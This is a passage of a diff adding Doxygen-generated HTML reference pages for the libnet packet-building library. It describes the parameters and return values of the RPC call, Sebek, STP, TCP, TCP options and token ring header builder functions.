+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a60" doxytag="libnet-functions.h::libnet_build_rpc_call" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_rpc_call </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rm</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>xid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>prog_num</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>prog_vers</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>procedure</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cflavor</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>clength</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>cdata</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>vflavor</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>vlength</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>vdata</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Remote Procedure Call (Version 2) Call message header as specified in RFC 1831. This builder provides the option for specifying the record marking which is required when used with streaming protocols (TCP). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>rm</em>&nbsp;</td><td>record marking indicating the position in a stream, 0 otherwise </td></tr>
+ <tr><td valign=top><em>xid</em>&nbsp;</td><td>transaction identifier used to link calls and replies </td></tr>
+ <tr><td valign=top><em>prog_num</em>&nbsp;</td><td>remote program specification typically between 0 - 1fffffff </td></tr>
+ <tr><td valign=top><em>prog_vers</em>&nbsp;</td><td>remote program version specification </td></tr>
+ <tr><td valign=top><em>procedure</em>&nbsp;</td><td>procedure to be performed by remote program </td></tr>
+ <tr><td valign=top><em>cflavor</em>&nbsp;</td><td>authentication credential type </td></tr>
+ <tr><td valign=top><em>clength</em>&nbsp;</td><td>credential length (should be 0) </td></tr>
+ <tr><td valign=top><em>cdata</em>&nbsp;</td><td>opaque credential data (currently unused) </td></tr>
+ <tr><td valign=top><em>vflavor</em>&nbsp;</td><td>authentication verifier type </td></tr>
+ <tr><td valign=top><em>vlength</em>&nbsp;</td><td>verifier length (should be 0) </td></tr>
+ <tr><td valign=top><em>vdata</em>&nbsp;</td><td>opaque verifier data (currently unused) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a90" doxytag="libnet-functions.h::libnet_build_sebek" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_sebek </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>magic</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>counter</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>time_sec</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>time_usec</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>pid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>uid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fd</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cmd</em>[SEBEK_CMD_LENGTH], </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>length</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a Sebek header. The Sebek protocol was designed by the Honeynet Project as a transport mechanism for post-intrusion forensic data. More information may be found here: <a href="http://www.honeynet.org/papers/sebek.pdf.">http://www.honeynet.org/papers/sebek.pdf.</a><p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>magic</em>&nbsp;</td><td>identify packets that should be hidden </td></tr>
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>protocol version, currently 1 </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of record (read data is type 0, write data is type 1) </td></tr>
+ <tr><td valign=top><em>counter</em>&nbsp;</td><td>PDU counter used to identify when packet are lost </td></tr>
+ <tr><td valign=top><em>time_sec</em>&nbsp;</td><td>seconds since EPOCH according to the honeypot </td></tr>
+ <tr><td valign=top><em>time_usec</em>&nbsp;</td><td>residual microseconds </td></tr>
+ <tr><td valign=top><em>pid</em>&nbsp;</td><td>PID </td></tr>
+ <tr><td valign=top><em>uid</em>&nbsp;</td><td>UID </td></tr>
+ <tr><td valign=top><em>fd</em>&nbsp;</td><td>FD </td></tr>
+ <tr><td valign=top><em>cmd[SEBEK_CMD_LENGTH]</em>&nbsp;</td><td>12 first characters of the command </td></tr>
+ <tr><td valign=top><em>length</em>&nbsp;</td><td>length in bytes of the PDU's body </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a61" doxytag="libnet-functions.h::libnet_build_stp_conf" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_stp_conf </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>bpdu_type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>flags</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>root_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>root_pc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>bridge_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>port_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>message_age</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>max_age</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hello_time</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>f_delay</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.1d Spanning Tree Protocol (STP) configuration header. STP frames are usually encapsulated inside of an 802.2 + 802.3 frame combination. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>protocol id </td></tr>
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>protocol version </td></tr>
+ <tr><td valign=top><em>bpdu_type</em>&nbsp;</td><td>bridge protocol data unit type </td></tr>
+ <tr><td valign=top><em>flags</em>&nbsp;</td><td>flags </td></tr>
+ <tr><td valign=top><em>root_id</em>&nbsp;</td><td>root id </td></tr>
+ <tr><td valign=top><em>root_pc</em>&nbsp;</td><td>root path cost </td></tr>
+ <tr><td valign=top><em>bridge_id</em>&nbsp;</td><td>bridge id </td></tr>
+ <tr><td valign=top><em>port_id</em>&nbsp;</td><td>port id </td></tr>
+ <tr><td valign=top><em>message_age</em>&nbsp;</td><td>message age </td></tr>
+ <tr><td valign=top><em>max_age</em>&nbsp;</td><td>max age </td></tr>
+ <tr><td valign=top><em>hello_time</em>&nbsp;</td><td>hello time </td></tr>
+ <tr><td valign=top><em>f_delay</em>&nbsp;</td><td>forward delay </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a62" doxytag="libnet-functions.h::libnet_build_stp_tcn" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_stp_tcn </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>bpdu_type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.1d Spanning Tree Protocol (STP) topology change notification header. STP frames are usually encapsulated inside of an 802.2 + 802.3 frame combination. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>protocol id </td></tr>
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>protocol version </td></tr>
+ <tr><td valign=top><em>bpdu_type</em>&nbsp;</td><td>bridge protocol data unit type </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a34" doxytag="libnet-functions.h::libnet_build_tcp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_tcp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sp</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dp</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ack</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>control</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>win</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>urg</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 793 Transmission Control Protocol (TCP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>sp</em>&nbsp;</td><td>source port </td></tr>
+ <tr><td valign=top><em>dp</em>&nbsp;</td><td>destination port </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>sequence number </td></tr>
+ <tr><td valign=top><em>ack</em>&nbsp;</td><td>acknowledgement number </td></tr>
+ <tr><td valign=top><em>control</em>&nbsp;</td><td>control flags </td></tr>
+ <tr><td valign=top><em>win</em>&nbsp;</td><td>window size </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>urg</em>&nbsp;</td><td>urgent pointer len total length of the TCP packet (for checksum calculation) </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a35" doxytag="libnet-functions.h::libnet_build_tcp_options" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_tcp_options </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>options</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>options_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 793 Transmission Control Protocol (TCP) options header. The function expects options to be a valid TCP options string of size options_s, which is no larger than 40 bytes (the maximum size of an options string). The function checks to ensure that the packet consists of a TCP header preceded by an IPv4 header, and that the addition of the options string would not result in a packet larger than 65,535 bytes (IPMAXPACKET). The function counts up the number of 32-bit words in the options string and adjusts the TCP header length value as necessary. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>options</em>&nbsp;</td><td>byte string of TCP options </td></tr>
+ <tr><td valign=top><em>options_s</em>&nbsp;</td><td>length of options string </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a63" doxytag="libnet-functions.h::libnet_build_token_ring" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_token_ring </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cf</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>org</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a token ring header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>ac</em>&nbsp;</td><td>access control </td></tr>
+ <tr><td valign=top><em>fc</em>&nbsp;</td><td>frame control </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination address </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>source address </td></tr>
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>cf</em>&nbsp;</td><td>control field </td></tr>
+ <tr><td valign=top><em>oui</em>&nbsp;</td><td>Organizationally Unique Identifier </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol type </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
